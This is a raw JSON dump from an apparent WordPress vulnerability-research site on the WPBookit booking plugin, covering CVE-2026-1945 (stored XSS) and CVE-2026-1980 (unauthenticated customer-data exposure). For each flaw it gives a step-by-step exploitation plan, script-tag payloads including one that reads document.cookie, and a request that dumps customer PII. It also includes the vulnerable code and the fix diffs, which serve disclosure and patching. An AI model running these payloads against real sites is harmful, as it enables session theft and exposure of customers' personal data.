[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fbaUv3w0IX_IrZFUd8Sjeh5cy5YYoFfAEFxOZ-ve8zJA":3,"$f7ZQ5joc-YJpGx3ORGIAE3tHja7yG3PQzrCvUiTHPtMo":754,"$fObc_rBIhmCYFAsZn6eXDv8_XbQBf3S0_avnH2Sg3r4U":758},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":13,"last_updated":14,"tested_up_to":15,"requires_at_least":16,"requires_php":17,"tags":18,"homepage":23,"download_link":24,"security_score":25,"vuln_count":26,"unpatched_count":27,"last_vuln_date":28,"fetched_at":29,"discovery_status":30,"vulnerabilities":31,"developer":239,"crawl_stats":37,"alternatives":246,"analysis":247,"fingerprints":642},"wpbookit","WPBookit","1.0.9","Iqonic Design","https:\u002F\u002Fprofiles.wordpress.org\u002Fiqonicdesign\u002F","\u003Cp>Streamline your appointment booking process with WPBookit, the ultimate free appointment booking WordPress plugin. Ideal for businesses of all sizes, WPBookit offers a comprehensive suite of features designed to simplify scheduling, enhance user experience, and boost productivity.\u003C\u002Fp>\n\u003Ch3>Features:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Revenue Chart Report: Gain valuable insights into your earnings with detailed revenue charts.\u003C\u002Fli>\n\u003Cli>Booking Calendar\u002FList View: View and manage bookings effortlessly with both calendar and list views.\u003C\u002Fli>\n\u003Cli>Different Calendars for Different Services: Organize your services with separate calendars for each one.\u003C\u002Fli>\n\u003Cli>Custom Time Slots: Customize available time slots to fit your unique business hours and needs.\u003C\u002Fli>\n\u003Cli>Calendar-wise Unavailable Dates: Mark unavailable dates on individual calendars to avoid scheduling conflicts.\u003C\u002Fli>\n\u003Cli>Guest Users List: Maintain a list of guest users for easy reference and follow-up.\u003C\u002Fli>\n\u003Cli>Easy Email Template Editing: Customize email templates with ease for a personalized communication experience.\u003C\u002Fli>\n\u003Cli>Translation Ready: Cater to a global audience with translation-ready capabilities.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Benefits:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Efficient Scheduling: Simplify the booking process with intuitive calendar and list views, ensuring smooth management of appointments.\u003C\u002Fli>\n\u003Cli>Enhanced User Experience: Provide a seamless experience for both customers and staff with features like custom timeslots, email notifications.\u003C\u002Fli>\n\u003Cli>Virtual Consultations: Offer convenient telemedicine services with Zoom integration, expanding your reach and flexibility.\u003C\u002Fli>\n\u003Cli>Comprehensive Management: Keep track of guest users, manage multiple services, and generate detailed reports to optimize your business operations.\u003C\u002Fli>\n\u003Cli>Global Reach: Serve a diverse audience with translation-ready functionality, making your services accessible to users worldwide.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Elevate your appointment booking process with WPBookit – the free WordPress plugin designed to meet all your scheduling needs. \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwpbookit.com\" rel=\"nofollow ugc\">WPBookit Pro\u003C\u002Fa> version is also available with advance featutes.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Ch3>Source Code\u003C\u002Fh3>\n\u003Cp>The original, non-minified source code for the JavaScript and CSS files used in this plugin can be found in the \u003Ccode>core\u002Fadmin\u002Fassets\u002Fsrc\u003C\u002Fcode> directory of the plugin folder.\u003C\u002Fp>\n\u003Ch3>External Services\u003C\u002Fh3>\n\u003Cp>WPBookit interacts with external services to enhance functionality and provide accurate data.\u003C\u002Fp>\n\u003Ch3>Services Used:\u003C\u002Fh3>\n\u003Col>\n\u003Cli>\n\u003Cp>\u003Cstrong>ipapi.co\u003C\u002Fstrong> (https:\u002F\u002Fipapi.co\u002F)\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Purpose\u003C\u002Fstrong>: Used for geolocation purposes to automatically determine and set the user’s country based on their IP address.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Terms of Use\u003C\u002Fstrong>: \u003Ca href=\"https:\u002F\u002Fipapi.co\u002Fterms\u002F\" rel=\"nofollow ugc\">ipapi.co Terms of Service\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Privacy Policy\u003C\u002Fstrong>: \u003Ca href=\"https:\u002F\u002Fipapi.co\u002Fprivacy\u002F\" rel=\"nofollow ugc\">ipapi.co Privacy Policy\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Google Fonts\u003C\u002Fstrong> (https:\u002F\u002Ffonts.googleapis.com\u002F)\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Purpose\u003C\u002Fstrong>: The plugin uses the “Plus Jakarta Sans” font, which is loaded from Google Fonts to enhance the visual appearance of the plugin.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Terms of Use\u003C\u002Fstrong>: \u003Ca href=\"https:\u002F\u002Fdevelopers.google.com\u002Ffonts\u002Fterms\" rel=\"nofollow ugc\">Google Fonts Terms of Service\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Privacy Policy\u003C\u002Fstrong>: \u003Ca href=\"https:\u002F\u002Fpolicies.google.com\u002Fprivacy\" rel=\"nofollow ugc\">Google Fonts Privacy Policy\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Add to Calendar Pro API\u003C\u002Fstrong> (https:\u002F\u002Fadd-to-calendar-pro.com\u002F)\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Purpose\u003C\u002Fstrong>: Used to add booking details directly to users’ calendars.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Terms of Use\u003C\u002Fstrong>: \u003Ca href=\"https:\u002F\u002Fadd-to-calendar-pro.com\u002Fterms\u002F\" rel=\"nofollow ugc\">Add to Calendar Pro Terms of Service\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Privacy Policy\u003C\u002Fstrong>: \u003Ca href=\"https:\u002F\u002Fadd-to-calendar-pro.com\u002Fprivacy-policy\u002F\" rel=\"nofollow ugc\">Add to Calendar Pro Privacy Policy\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Cp>By using WPBookit, you agree to the terms and conditions outlined by these external services.\u003C\u002Fp>\n","WPBookit is a free WordPress booking plugin that simplifies  seamless scheduling, custom calendars and global accessibility.",10,3786,0,"2026-02-23T10:46:00.000Z","6.9.4","3.0.1","8.0",[19,20,21,22],"free-appointment-booking-wordpress-plugin","free-booking-system-wordpress","free-reservation-plugin","free-wordpress-reservation-plugin","https:\u002F\u002Fwpbookit.com","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpbookit.1.0.9.zip",20,14,2,"2026-03-03 12:30:48","2026-04-16T10:56:18.058Z","no_bundle",[32,67,87,101,113,127,139,150,163,172,186,201,213,225],{"id":33,"url_slug":34,"title":35,"description":36,"plugin_slug":4,"theme_slug":37,"affected_versions":38,"patched_in_version":6,"severity":39,"cvss_score":40,"cvss_vector":41,"vuln_type":42,"published_date":28,"updated_date":43,"references":44,"days_to_patch":46,"patch_diff_files":47,"patch_trac_url":37,"research_status":56,"research_verified":57,"research_rounds_completed":58,"research_plan":59,"research_summary":60,"research_vulnerable_code":61,"research_fix_diff":62,"research_exploit_outline":63,"research_model_used":64,"research_started_at":65,"research_completed_at":66,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":57,"poc_model_used":37,"poc_verification_depth":37},"CVE-2026-1945","wpbookit-unauthenticated-stored-cross-site-scripting-via-wpbusername-and-wpbuseremail-parameters","WPBookit \u003C= 1.0.8 - Unauthenticated Stored Cross-Site Scripting via 'wpb_user_name' and 'wpb_user_email' Parameters","The WPBookit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpb_user_name' and 'wpb_user_email' parameters in all versions up to, and including, 1.0.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",null,"\u003C=1.0.8","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-04 01:21:58",[45],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5954c682-c772-420a-a764-342418c1e71c?source=api-prod",1,[48,49,50,51,52,53,54,55],"README.txt","core\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FBooking.js","core\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FCalendar.js","core\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FCustomer.js","core\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FGuest-Users.js","core\u002Fadmin\u002Fassets\u002Fsrc\u002Futils\u002Fajax.js","core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes-handler.php","core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes.php","researched",false,3,"This plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **WPBookit** plugin (\u003C= 1.0.8). The vulnerability exists because unauthenticated users can submit booking requests containing malicious scripts in the `wpb_user_name` and `wpb_user_email` parameters, which are subsequently rendered without escaping in the WordPress administrative dashboard.\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Unauthenticated Stored Cross-Site Scripting (XSS).\n*   **Target Parameters:** `wpb_user_name`, `wpb_user_email`.\n*   **Vulnerable Component:** The `add_booking` AJAX route handled by `WPB_Bookings_Controller@add_booking`.\n*   **Sink:** The admin dashboard pages for \"Bookings\" and \"Guest Users,\" where the injected strings are rendered via JavaScript template literals in DataTables (`Booking.js` and `Guest-Users.js`).\n*   **Reason:** The plugin fails to sanitize user input before storage and fails to escape the data before rendering it in the admin interface via JavaScript.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `wpb_ajax_post`\n*   **Route Name:** `add_booking`\n*   **Authentication:** None (Unauthenticated).\n*   **Preconditions:** The plugin must be active. At least one \"Booking Type\" (calendar) should ideally exist, though the injection may occur even if the booking fails, as long as the guest data is processed.\n\n### 3. Code Flow\n1.  **Entry Point:** An unauthenticated user sends a POST request to `admin-ajax.php` with `action=wpb_ajax_post`.\n2.  **Route Handling:** `WPB_Routes_Handler::wpb_ajax_post` (in `class.wpb-admin-routes-handler.php`) catches the request.\n3.  **Route Definition:** It looks up the `add_booking` route in `class.wpb-admin-routes.php`.\n    ```php\n    'add_booking' => [\n        'method' => 'post',\n        'action' => 'WPB_Bookings_Controller@add_booking',\n        'nonce' => 0, \u002F\u002F No nonce required\n        'module' => 'bookings-controller'\n    ],\n    ```\n4.  **Processing:** Since `nonce` is `0`, the handler skips nonce verification and calls `WPB_Bookings_Controller::add_booking`.\n5.  **Storage:** The controller processes `wpb_user_name` and `wpb_user_email` and stores them in the database (typically in a guests or bookings table).\n6.  **Admin Rendering (The Sink):**\n    *   An administrator navigates to the \"Bookings\" page.\n    *   `Booking.js` performs an AJAX GET request to the `booking_list` route.\n    *   The server returns JSON containing the malicious strings.\n    *   The DataTable `render` function in `Booking.js` injects the strings into the DOM:\n        ```javascript\n        \"render\": function (data, type, row) {\n            return `\u003Cdiv class=\"d-flex align-items-center gap-3\">\n                ...\n                \u003Ch6 class=\"iq-sub-label\">${data}\u003C\u002Fh6> \u002F\u002F data is wpb_user_name\n                \u003Cp class=\"mb-0\">${row.email}\u003C\u002Fp> \u002F\u002F email is wpb_user_email\n            \u003C\u002Fdiv>`;\n        }\n        ```\n\n### 4. Nonce Acquisition Strategy\n*   **Analysis:** According to `core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes.php`, the `add_booking` route explicitly sets `'nonce' => 0`.\n*   **Bypass:** In `WPB_Routes_Handler::wpb_ajax_post`, the code checks `if ($route['nonce'] === 1)`. Since it is `0`, the entire nonce verification block is bypassed.\n*   **Conclusion:** **No nonce is required** for this exploit.\n\n### 5. Exploitation Strategy\nThe exploit will be delivered via a single unauthenticated POST request.\n\n**Step 1: Identify\u002FCreate a Booking Type (Optional but recommended)**\nThe plugin needs a valid `wpb_booking_type` ID. If none exists, the request might fail.\n*   Check existing booking types: `wp post list --post_type=wpb_booking_type` (if stored as CPT) or check the table `wp_wpbookit_booking_types`.\n\n**Step 2: Submit Malicious Booking**\nSend the payload using the `http_request` tool.\n\n*   **URL:** `https:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Payload:**\n    ```text\n    action=wpb_ajax_post\n    &route_name=add_booking\n    &wpb_user_name=\u003Cscript>alert('XSS_NAME')\u003C\u002Fscript>\n    &wpb_user_email=attacker@example.com\">\u003Cscript>alert('XSS_EMAIL')\u003C\u002Fscript>\n    &wpb_booking_type=1\n    &wpb_booking_date=2025-12-30\n    &wpb_booking_slot_time=10:00-11:00\n    &wpb_phone_number=1234567890\n    ```\n\n### 6. Test Data Setup\n1.  **Activate Plugin:** Ensure `wpbookit` is installed and active.\n2.  **Create Booking Type:** If the plugin is fresh, create at least one booking type so an ID exists.\n    *   `wp eval \"\u002F* Logic to insert a row into wpb_booking_type table if needed *\u002F\"`\n3.  **Note for PoC Agent:** The unauthenticated `add_booking` route is the primary target. Even if the booking itself fails due to date\u002Ftime constraints, the plugin often registers the \"Guest\" details first.\n\n### 7. Expected Results\n*   The server should respond with a JSON object (likely `{\"status\": true, ...}` or a success message).\n*   The malicious strings will be stored in the database.\n*   When an admin logs in and visits `wp-admin\u002Fadmin.php?page=wpbookit-bookings` or the Guest Users page, the browser will execute `alert('XSS_NAME')`.\n\n### 8. Verification Steps\n1.  **Check Database:** Use WP-CLI to verify the payload is stored.\n    ```bash\n    wp db query \"SELECT guest_name, guest_email FROM wp_wpbookit_guests ORDER BY id DESC LIMIT 1;\"\n    ```\n2.  **Check AJAX Response:** Simulate the admin's view by requesting the booking list (requires admin cookies).\n    ```bash\n    # (In script) Log in as admin, then:\n    http_request \"https:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php?action=wpb_ajax_get&route_name=get_guest_list\"\n    ```\n    Verify the output contains the unescaped `\u003Cscript>` tags.\n\n### 9. Alternative Approaches\n*   **If `add_booking` fails:** Try the `register_customer` route.\n    *   In `class.wpb-admin-routes.php`, `register_customer` also has `nonce => 0`.\n    *   Endpoint: `action=wpb_ajax_post&route_name=register_customer`.\n    *   This might also populate the Guest or Customer lists seen by the admin.\n*   **DOM Sink Verification:** If `alert()` is blocked\u002Ffails, use `browser_navigate` to the bookings page and check for the presence of the script tag in the rendered DOM using `browser_eval`.","The WPBookit plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting (XSS) via the 'wpb_user_name' and 'wpb_user_email' parameters. This occurs because the plugin fails to sanitize user-provided booking information and subsequently renders it in the admin dashboard using JavaScript template literals without proper escaping.","\u002F\u002F core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes.php:40\n'add_booking' => [\n    'method' => 'post',\n    'action' => 'WPB_Bookings_Controller@add_booking',\n    'nonce' => 0, \u002F\u002F No nonce required, allowing unauthenticated access\n    'module' => 'bookings-controller'\n],\n\n---\n\n\u002F\u002F core\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FBooking.js:84\n\"columns\" :  wp.hooks.applyFilters('wpb_booking_datatable_columns',[\n    {\n        \"data\": \"name\",\n        \"render\": function (data, type, row) {\n            return `\u003Cdiv class=\"d-flex align-items-center gap-3\">\n                \u003Cimg class=\"rounded-pill img-fluid avatar-40\" src=\"${row.profile_img}\" alt=\"\" loading=\"lazy\">\n                \u003Cdiv class=\"media-support-info\">\n                    \u003Ch6 class=\"iq-sub-label\">${data}\u003C\u002Fh6>\n                    \u003Cp class=\"mb-0\">${row.email}\u003C\u002Fp>\n                \u003C\u002Fdiv>\n            \u003C\u002Fdiv>`;\n\n        },\n        \"name\": 'booking_name',\n        \"searchable\": false\n    },","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpbookit\u002F1.0.8\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FBooking.js\t2025-12-24 10:41:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpbookit\u002F1.0.9\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FBooking.js\t2026-02-23 10:46:46.000000000 +0000\n@@ -88,8 +88,8 @@\n                         return `\u003Cdiv class=\"d-flex align-items-center gap-3\">\n                             \u003Cimg class=\"rounded-pill img-fluid avatar-40\" src=\"${row.profile_img}\" alt=\"\" loading=\"lazy\">\n                             \u003Cdiv class=\"media-support-info\">\n-                                \u003Ch6 class=\"iq-sub-label\">${data}\u003C\u002Fh6>\n-                                \u003Cp class=\"mb-0\">${row.email}\u003C\u002Fp>\n+                                \u003Ch6 class=\"iq-sub-label\">${_.escape(data)}\u003C\u002Fh6>\n+                                \u003Cp class=\"mb-0\">${_.escape(row.email)}\u003C\u002Fp>\n                             \u003C\u002Fdiv>\n                         \u003C\u002Fdiv>`;\n \n@@ -250,12 +250,12 @@\n         \n         let model = jQuery(this.bookingViewModel._element)\n \n-        model.find('.wpb-booking-type').html(type)\n-        model.find('.wpb-booking-date-time').html(formattedDateTime)\n-        model.find('.wpb-booking-duration').html(duration)\n-        model.find('.wpb-booking-user-email').html(email)\n-        model.find('.wpb-booking-created').html(formatedate_created)\n-        model.find('.wpb-booking-questions').html('')\n+        model.find('.wpb-booking-type').text(type)\n+        model.find('.wpb-booking-date-time').text(formattedDateTime)\n+        model.find('.wpb-booking-duration').text(duration)\n+        model.find('.wpb-booking-user-email').text(email)\n+        model.find('.wpb-booking-created').text(formatedate_created)\n+        model.find('.wpb-booking-questions').empty()","1. **Identify the Target Endpoint**: The vulnerability is triggered via the AJAX handler in `\u002Fwp-admin\u002Fadmin-ajax.php` using the action `wpb_ajax_post`.\n2. **Craft Malicious Payload**: Prepare a POST request targeting the `add_booking` route. This route is configured with `nonce => 0`, meaning it does not require an AJAX nonce or user authentication.\n3. **Inject Payload**: Set the `wpb_user_name` or `wpb_user_email` parameters to a malicious script, such as `\u003Cscript>alert(document.cookie)\u003C\u002Fscript>`.\n4. **Submit Request**: Send the POST request to the server. Parameters like `wpb_booking_type`, `wpb_booking_date`, and `wpb_booking_slot_time` should be included to ensure the booking logic processes the guest data.\n5. **Persistence**: The plugin stores the guest information in the database (e.g., `wp_wpbookit_guests` table) without sanitization.\n6. **Trigger Execution**: The exploit executes when an authenticated administrator visits the 'Bookings' or 'Guest Users' sections of the WPBookit dashboard. The administrative interface fetches the stored records via AJAX and injects them into the DOM using unescaped template literals in `Booking.js` or `Guest-Users.js`.","gemini-3-flash-preview","2026-04-18 06:43:23","2026-04-18 06:43:54",{"id":68,"url_slug":69,"title":70,"description":71,"plugin_slug":4,"theme_slug":37,"affected_versions":38,"patched_in_version":6,"severity":72,"cvss_score":73,"cvss_vector":74,"vuln_type":75,"published_date":76,"updated_date":43,"references":77,"days_to_patch":46,"patch_diff_files":79,"patch_trac_url":37,"research_status":56,"research_verified":57,"research_rounds_completed":58,"research_plan":80,"research_summary":81,"research_vulnerable_code":82,"research_fix_diff":83,"research_exploit_outline":84,"research_model_used":64,"research_started_at":85,"research_completed_at":86,"research_error":37,"poc_status":37,"poc_video_id":37,"poc_summary":37,"poc_steps":37,"poc_tested_at":37,"poc_wp_version":37,"poc_php_version":37,"poc_playwright_script":37,"poc_exploit_code":37,"poc_has_trace":57,"poc_model_used":37,"poc_verification_depth":37},"CVE-2026-1980","wpbookit-missing-authorization-to-unauthenticated-sensitive-customer-data-exposure","WPBookit \u003C= 1.0.8 - Missing Authorization to Unauthenticated Sensitive Customer Data Exposure","The WPBookit plugin for WordPress is vulnerable to unauthorized data disclosure due to a missing authorization check on the 'get_customer_list' route in all versions up to, and including, 1.0.8. This makes it possible for unauthenticated attackers to retrieve sensitive customer information including names, emails, phone numbers, dates of birth, and gender.","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Exposure of Sensitive Information to an Unauthorized Actor","2026-03-03 12:28:50",[78],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa1867c79-29d7-46a4-bfaf-c65e8a44c2ed?source=api-prod",[48,49,50,51,52,53,54,55],"# Exploitation Research Plan: CVE-2026-1980 (WPBookit \u003C= 1.0.8)\n\n## 1. Vulnerability Summary\nThe **WPBookit** plugin for WordPress is vulnerable to **Missing Authorization** in its internal AJAX routing system. Specifically, the route `get_customer_list` lacks any permission or nonce checks. Because the plugin registers both authenticated (`wp_ajax_`) and unauthenticated (`wp_ajax_nopriv_`) hooks for its central routing handler, any user (including unauthenticated visitors) can invoke the `get_customer_list` action. This results in the exposure of sensitive customer data, including full names, email addresses, phone numbers, dates of birth, and gender.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `wpb_ajax_get` (registered via `wp_ajax_nopriv_wpb_ajax_get`)\n- **Route Name:** `get_customer_list`\n- **Method:** `GET` (or `POST` since `$_REQUEST` is used in the handler)\n- **Authentication:** Unauthenticated (No login required)\n- **Preconditions:** At least one customer or guest must be registered in the system for the data to be returned.\n\n## 3. Code Flow\n1.  **Entry Point:** In `core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes-handler.php`, the `event_Handler()` function registers:\n    ```php\n    add_action( \"wp_ajax_wpb_ajax_get\", [ $this, 'wpb_ajax_get' ] );\n    add_action( \"wp_ajax_nopriv_wpb_ajax_get\", [ $this, 'wpb_ajax_get' ] );\n    ```\n2.  **Routing Logic:** When `wpb_ajax_get` is called, it identifies the route from the `route_name` parameter:\n    ```php\n    $route_name = isset($_REQUEST['route_name']) ? sanitize_text_field(wp_unslash($_REQUEST['route_name'])) : '';\n    ```\n3.  **Permission Check Failure:** The handler only enforces permissions if a `permission` key is defined for the route in the route configuration:\n    ```php\n    if (isset($route['permission']) && !empty($route['permission'])) {\n        if (!is_user_logged_in() || !current_user_can($route['permission'])) {\n            \u002F\u002F Error thrown\n        }\n    }\n    ```\n4.  **Target Route:** In `core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes.php`, the `get_customer_list` route is defined **without** a `permission` or `nonce` key:\n    ```php\n    'get_customer_list'    => [\n        'method' => 'get',\n        'action' => 'WPBOOKIT_Customer_Controller@get_customer_list',\n        'module' => 'customer-controller',\n        'dependency' => array(...)\n    ],\n    ```\n5.  **Sink:** The `call($route)` method is invoked, which executes `WPBOOKIT_Customer_Controller::get_customer_list()`, returning the customer database to the requester.\n\n## 4. Nonce Acquisition Strategy\nAccording to the code in `core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes-handler.php`, **no nonce is required** for GET requests handled by `wpb_ajax_get`.\n\n- The `wpb_ajax_post` method checks `if ($route['nonce'] === 1)`.\n- The `wpb_ajax_get` method **omits** this block entirely.\n- The `get_customer_list` route in `class.wpb-admin-routes.php` does not define a `nonce` key regardless.\n\n**Conclusion:** No nonce acquisition is necessary for this exploit.\n\n## 5. Exploitation Strategy\nThe exploit involves a single HTTP GET request to the AJAX endpoint.\n\n### Step 1: Request Sensitive Data\nSend a GET request to retrieve the customer list. We include DataTable parameters (`draw`, `start`, `length`) because the backend controller (implied by `Customer.js`) likely expects them for pagination.\n\n**Request:**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php?action=wpb_ajax_get&route_name=get_customer_list&draw=1&start=0&length=10`\n- **Method:** `GET`\n- **Headers:** None required.\n\n**Expected Payload (in response JSON):**\nThe response should be a JSON object containing a `data` array. Each object in `data` will contain fields such as:\n- `id`\n- `name`\n- `email`\n- `phone`\n- `dob` (Date of Birth)\n- `gender`\n- `profile_img`\n\n## 6. Test Data Setup\nTo ensure the exploit returns data, at least one customer must exist in the database. Since unauthenticated users cannot usually register customers, we must set them up as an administrator first.\n\n1.  **Login as Admin.**\n2.  **Navigate to WPBookit > Customers.**\n3.  **Create a test customer** with specific data:\n    - First Name: `John`\n    - Last Name: `Doe`\n    - Email: `johndoe@example.com`\n    - Phone: `1234567890`\n    - DOB: `1990-01-01`\n    - Gender: `Male`\n4.  Alternatively, use WP-CLI to insert a record into the likely customer table (usually `wp_wpb_customers` or similar, check `wp db tables`).\n\n## 7. Expected Results\n- **Success:** The HTTP response status is `200 OK`. The body is a JSON object with `data` containing the customer `johndoe@example.com` and his PII.\n- **Failure:** The HTTP response status is `403 Forbidden` or `401 Unauthorized`, or the `data` array is empty (if no customers were created).\n\n## 8. Verification Steps\nAfter performing the HTTP request:\n1.  Verify the JSON structure matches the columns expected in `core\u002Fadmin\u002Fassets\u002Fsrc\u002Fmodule\u002FCustomer.js`.\n2.  Use WP-CLI to confirm the data retrieved matches the database:\n    ```bash\n    wp db query \"SELECT * FROM wp_wpb_customers;\"\n    ```\n    (Note: verify exact table name using `wp db tables | grep wpb`)\n\n## 9. Alternative Approaches\nIf `get_customer_list` is restricted for some reason (e.g., a silent patch), try other routes defined in `class.wpb-admin-routes.php` that also lack permission checks:\n- **Guest List:** `route_name=get_guest_list`\n- **Booking List:** `route_name=booking_list` (Note: this route has `nonce => 1` in config, but `wpb_ajax_get` might still ignore it due to the missing check in the handler).\n- **Booking Types:** `route_name=get_booking_type` (May reveal business-internal service details).","The WPBookit plugin for WordPress (versions 1.0.8 and earlier) exposes sensitive customer data because its central AJAX routing system lacks authorization and nonce checks for the 'get_customer_list' route. This allows unauthenticated attackers to retrieve a database of customer information, including full names, email addresses, phone numbers, dates of birth, and gender.","\u002F\u002F core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes-handler.php:21\npublic function event_Handler() {\n    add_action( \"wp_ajax_wpb_ajax_post\", [ $this, 'wpb_ajax_post' ] );\n    add_action( \"wp_ajax_nopriv_wpb_ajax_post\", [ $this, 'wpb_ajax_post' ] );\n\n    add_action( \"wp_ajax_wpb_ajax_get\", [ $this, 'wpb_ajax_get' ] );\n    add_action( \"wp_ajax_nopriv_wpb_ajax_get\", [ $this, 'wpb_ajax_get' ] );\n}\n\n---\n\n\u002F\u002F core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes-handler.php:151\n\u002F\u002F Handler only enforces permissions if a 'permission' key is defined for the route\nif (isset($route['permission']) && !empty($route['permission'])) {\n    if (!is_user_logged_in() || !current_user_can($route['permission'])) {\n        $error = __('You do not have permission to perform this action.', 'wpbookit');\n        throw new Exception($error, 403);\n    }\n}\n\n---\n\n\u002F\u002F core\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes.php:143\n'get_customer_list'    => [\n    'method' => 'get',\n    'action' => 'WPBOOKIT_Customer_Controller@get_customer_list',\n    'module' => 'customer-controller',\n    'dependency' => array(\n        IQWPB_PLUGIN_PATH . \"core\u002Fincludes\u002Fwpb-core-functions.php\",\n        IQWPB_PLUGIN_PATH . \"core\u002Fadmin\u002Fclasses\u002Fsettings\u002Fclass.wpb-settings-page.php\",\n        IQWPB_PLUGIN_PATH . \"core\u002Fadmin\u002Fclasses\u002Fsettings\u002Fclass.wpb-settings-customer.php\",\n    )\n],","--- \u002Fcore\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes.php\n+++ \u002Fcore\u002Fadmin\u002Fclasses\u002Fclass.wpb-admin-routes.php\n@@ -147,6 +147,7 @@\n                 'get_customer_list'    => [\n                     'method' => 'get',\n                     'action' => 'WPBOOKIT_Customer_Controller@get_customer_list',\n+                    'permission' => 'manage_options',\n                     'module' => 'customer-controller',\n                     'dependency' => array(\n                         IQWPB_PLUGIN_PATH . \"core\u002Fincludes\u002Fwpb-core-functions.php\",","The exploit is achieved by sending a single unauthenticated HTTP GET request to the WordPress AJAX endpoint. \n\n1. Target the endpoint: \u002Fwp-admin\u002Fadmin-ajax.php\n2. Set the 'action' parameter to 'wpb_ajax_get' (which triggers the vulnerable nopriv handler).\n3. Set the 'route_name' parameter to 'get_customer_list' (which lacks any 'permission' or 'nonce' definition in the plugin's route configuration).\n4. Include standard DataTable parameters (e.g., 'draw=1', 'start=0', 'length=10') to ensure the backend controller processes the request and returns the paginated data.\n5. The server will respond with a 200 OK and a JSON object containing a 'data' array populated with customer PII (names, emails, phones, DOBs).","2026-04-18 06:44:07","2026-04-18 